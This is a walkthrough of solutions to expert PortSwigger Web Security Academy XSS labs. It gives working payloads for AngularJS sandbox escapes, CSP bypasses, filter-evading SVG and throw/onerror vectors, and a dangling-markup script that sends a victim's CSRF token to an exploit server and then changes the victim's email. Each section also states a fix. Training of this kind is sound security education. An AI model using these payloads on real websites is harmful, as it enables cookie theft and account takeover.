Cross-site scripting
PortSwigger Web Security Academy · Expert
- #XSS

Reflected XSS with AngularJS Sandbox Escape without Strings
The vulnerability
Your search term is used in an AngularJS expression. You can’t use strings, so you build the code from character codes.
Fix: Don’t put user input into an AngularJS template, and move to a supported framework.
The lab
This lab uses AngularJS in an unusual way where the
$evalfunction is not available and you will be unable to use any strings in AngularJS.To solve the lab, perform a cross-site scripting attack that escapes the sandbox and executes the
alertfunction without using the$evalfunction.
Solution
1. Execute the Sandbox Escape Payload: Since the search bar is vulnerable but direct input is blocked, the payload must be crafted in the URL. Visit the following URL to execute the payload, which bypasses the sandbox and calls the alert function.
/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1Tip
Complete the XSS labs in Google Chrome, as Firefox blocks the alert() function in this context.
Reflected XSS with AngularJS Sandbox Escape and CSP
The vulnerability
Scripts are blocked by the CSP, but AngularJS runs expressions in its own attributes. With ng-focus your code runs as soon as the field gets the focus.
Fix: Don’t put user input into an AngularJS template. The CSP doesn’t help here.
The lab
This lab uses CSP and AngularJS.
To solve the lab, perform a cross-site scripting attack that bypasses CSP, escapes the AngularJS sandbox, and alerts
document.cookie.
Solution
1. Create the Payload in the Exploit Server: Go to the Exploit Server. Paste the following JavaScript code into the body. This code redirects the victim to a malicious URL containing the XSS payload.
<script>
location='https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
2. Deliver the Exploit: Click “Store” and then “Deliver exploit to victim” to send the payload to the simulated user. When the victim visits the URL, the ng-focus event is triggered, the alert function is called, and a pop-up with the document.cookie is displayed, and the lab is solved.
Tip
Complete the XSS labs in Google Chrome, as Firefox blocks the alert() function in this context.
Reflected XSS with Event Handlers and Href Attributes Blocked
The vulnerability
Some tags are allowed, but event handlers and href are blocked. In an SVG, <animate> can set the href afterwards.
Fix: Encode the output instead of filtering tags.
The lab
This lab contains a reflected XSS vulnerability with some whitelisted tags, but all events and anchor
hrefattributes are blocked.To solve the lab, perform a cross-site scripting attack that injects a vector that, when clicked, calls the
alertfunction.Note that you need to label your vector with the word “Click” in order to induce the simulated lab user to click your vector. For example:
<a href="">Click me</a>
Solution
1. Execute the SVG Payload: The search bar is vulnerable to XSS. The payload uses an SVG tag with an <animate> attribute to bypass the filter. The payload renders a "Click me" button. When you click the button, an alert pop-up will be displayed, which solves the lab. Visit the following URL to perform the attack:
/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E
Tip
Complete the XSS labs in Google Chrome, as Firefox blocks the alert() function in this context.
Reflected XSS in a JavaScript URL with Some Characters Blocked
The vulnerability
Your input ends up in a JavaScript URL, where spaces and parentheses don’t get through. With throw and an error handler you can call alert without them.
Fix: Don’t put user input into JavaScript code.
The lab
This lab reflects your input in a JavaScript URL, but all is not as it seems. This initially seems like a trivial challenge; however, the application is blocking some characters in an attempt to prevent XSS attacks.
To solve the lab, perform a cross-site scripting attack that calls the
alertfunction with the string1337contained somewhere in the alert message.
Solution
1. Execute the Payload: The search bar is vulnerable to XSS. The payload uses a combination of JavaScript syntax tricks to bypass the filter. Visit the following URL in your browser to perform the attack:
/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
Tip
Complete the XSS labs in Google Chrome, as Firefox blocks the alert() function in this context.
Reflected XSS Protected by Very Strict CSP, with Dangling Markup Attack
The vulnerability
The CSP blocks scripts, but not where a form sends its data. You close the form on the page and open your own. When the victim clicks the button, the CSRF token goes to your server.
Fix: Encode the output, and add form-action to the CSP.
The lab
This lab using a strict CSP that blocks outgoing requests to external web sites.
To solve the lab, first perform a cross-site scripting attack that bypasses the CSP and exfiltrates a simulated victim user’s CSRF token using Burp Collaborator. You then need to change the simulated user’s email address to
hacker@evil-user.net.You must label your vector with the word “Click” in order to induce the simulated user to click it. For example:
<a href="">Click me</a>You can log in to your own account using the following credentials:
wiener:peterNote
To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use the provided exploit server and/or Burp Collaborator’s default public server.
Solution
1. Log In and Access Exploit Server: Log in to the application using the credentials wiener:peter and go to the Exploit Server.
2. Create and Deliver the Exfiltration Payload: In the Exploit Server, add the following script to the body. This script redirects the victim to a malicious URL containing the dangling markup payload. The payload closes the current form and creates a new one with a GET method that sends the CSRF token to the Exploit Server.
<script>
location = 'https://<LAB-ID>>.web-security-academy.net/my-account?email="></form><form class="login-form" name="change-email-form" action="https://<EXPLOIT-SERVER-ID>.exploit-server.net/log" method="GET"><button class="button" type="submit">Click me</button>';
</script>
Click “Store” and “Deliver exploit to victim”. After the victim clicks “Click me,” the CSRF token will be sent to the access logs on your Exploit Server.
3. Create and Deliver the Final Attack Payload: Now that you know the XSS works, create the final payload to change the victim’s email address. Replace the old script on the Exploit Server with the following script. This payload also uses a dangling markup attack but creates a new form with a hidden field containing the new email address.
<script>
location = 'https://<LAB-ID>>.web-security-academy.net/my-account?email="></form><form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST"><button class="button" type="submit">Click me</button><input required type="hidden" name="email" value="hacker@evil-user.net">';
</script>
Click “Store” and “Deliver exploit to victim”. After the victim clicks “Click me,” their email will be changed, and the lab will be solved.
Reflected XSS Protected by CSP, with CSP Bypass
The vulnerability
The CSP contains a token parameter from the URL. With a semicolon you can add your own rule and allow inline scripts.
Fix: Don’t put user input into the CSP.
The lab
This lab uses CSP and contains a reflected XSS vulnerability.
To solve the lab, perform a cross-site scripting attack that bypasses the CSP and calls the
alertfunction.Please note that the intended solution to this lab is only possible in Chrome.
Solution
1. Test for Basic XSS: In the search bar, insert the basic payload <script>alert(1)</script>. A broken image will be displayed, but the JavaScript code is blocked by the CSP.
2. Bypass the CSP: Visit the following URL in a Chrome browser. The payload injects a new script-src-elem 'unsafe-inline' directive into the CSP, which allows the execution of inline JavaScript. The alert function will then be called, and a pop-up will be displayed, and the lab is solved.
https://<LAB-ID>.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscrip
Tip
Complete the XSS labs in Google Chrome, as Firefox blocks the alert() function in this context.